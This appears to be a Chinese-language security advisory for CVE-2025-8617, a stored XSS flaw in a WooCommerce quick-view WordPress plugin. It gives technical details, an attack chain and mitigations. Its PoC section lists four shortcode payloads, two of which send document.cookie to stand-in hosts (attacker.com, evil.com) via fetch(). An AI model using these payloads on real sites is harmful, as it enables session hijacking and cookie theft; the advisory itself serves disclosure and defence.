CVE-2025-8617 YITH WooCommerce Quick View插件存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2025-8617

漏洞类型

存储型跨站脚本攻击（Stored XSS）

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

YITH WooCommerce Quick View插件（WordPress）

漏洞概述

CVE-2025-8617是YITH WooCommerce Quick View插件中的一个存储型跨站脚本（Stored Cross-Site Scripting）漏洞。该插件用于为WooCommerce电商网站提供快速查看产品功能。漏洞源于yith_quick_view短代码对用户提供的属性参数缺乏充分的输入验证和输出转义处理。在2.7.0及以下所有版本中，攻击者只需要拥有WordPress网站的贡献者（Contributor）级别权限即可利用此漏洞。通过在短代码属性中注入恶意JavaScript脚本，这些脚本会被永久存储在数据库中。当其他用户访问包含该恶意短代码的页面时，注入的脚本会自动执行，可能导致会话劫持、敏感信息窃取、管理员权限滥用等严重后果。此漏洞无需任何用户交互即可触发，攻击者可以利用已获取的低权限账户对整个网站造成安全威胁。

技术细节

该漏洞存在于YITH WooCommerce Quick View插件的class.yith-wcqv-frontend.php文件第216行附近。漏洞的核心问题是短代码处理函数未对用户输入的属性值进行适当的输入清理（sanitization）和输出转义（output escaping）。攻击者可以通过WordPress的内容编辑功能，在使用[yith_quick_view]短代码时，通过各种属性参数注入恶意JavaScript代码。由于这些属性值直接被插入到HTML输出而未经过htmlspecialchars()或类似函数的转义处理，浏览器会将注入的脚本代码作为有效代码执行。攻击流程为：1）攻击者创建或编辑文章/页面；2）在短代码中插入恶意属性值如：yith_quick_view product_id='1" onmouseover="alert(document.cookie)"'; 3）保存内容后，恶意代码存储在数据库中；4）当受害者访问该页面时，注入的脚本在其浏览器上下文中执行。由于是存储型XSS，攻击效果具有持久性，影响所有访问该页面的用户。

攻击链分析

STEP 1

侦察阶段

攻击者识别目标网站使用的YITH WooCommerce Quick View插件版本，确认版本号<=2.7.0

STEP 2

权限获取

攻击者通过钓鱼、凭证填充或社工手段获取WordPress网站的贡献者（Contributor）级别账户

STEP 3

恶意载荷构造

攻击者构造包含XSS payload的yith_quick_view短代码，利用属性参数注入恶意JavaScript

STEP 4

持久化存储

将包含恶意短代码的文章或页面保存到数据库，payload被永久存储

STEP 5

触发执行

当其他用户（管理员、编辑或访客）访问包含该短代码的页面时，恶意脚本在其浏览器中自动执行

STEP 6

恶意行为

注入的JavaScript可执行多种攻击：窃取会话cookie、劫持用户操作、修改页面内容、重定向用户等

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- WordPress Stored XSS PoC for CVE-2025-8617 -->
<!-- Author: Wordfence Security Team -->
<!-- Target: YITH WooCommerce Quick View Plugin <= 2.7.0 -->

<!-- PoC 1: Basic XSS via shortcode attribute -->
[yith_quick_view product_id='1" onfocus="alert(document.domain)" autofocus="' type='text']

<!-- PoC 2: Event handler injection -->
[yith_quick_view product_id='1'><script>alert(String.fromCharCode(67,86,69,45,50,48,50,53,45,56,54,49,55))</script>']

<!-- PoC 3: Image onerror injection -->
[yith_quick_view product_id='1' title='<img src=x onerror=fetch("https://attacker.com/steal?c="+document.cookie)>']

<!-- PoC 4: Cookie stealing payload -->
[yith_quick_view product_id='1" onload="fetch('https://evil.com/log?cookie='+btoa(document.cookie))"><!--']

影响范围

YITH WooCommerce Quick View <= 2.7.0

防御指南

临时缓解措施

在官方补丁发布前，可采取以下临时缓解措施：1）暂时禁用或删除YITH WooCommerce Quick View插件；2）使用WordPress安全插件限制贡献者角色的短代码使用权限；3）部署Web应用防火墙（WAF）规则过滤包含常见XSS模式的请求；4）启用HTTPOnly和Secure标志保护Cookie；5）实施严格的内容安全策略（CSP）限制脚本执行；6）增加对内容发布的审核流程，特别是包含短代码的内容。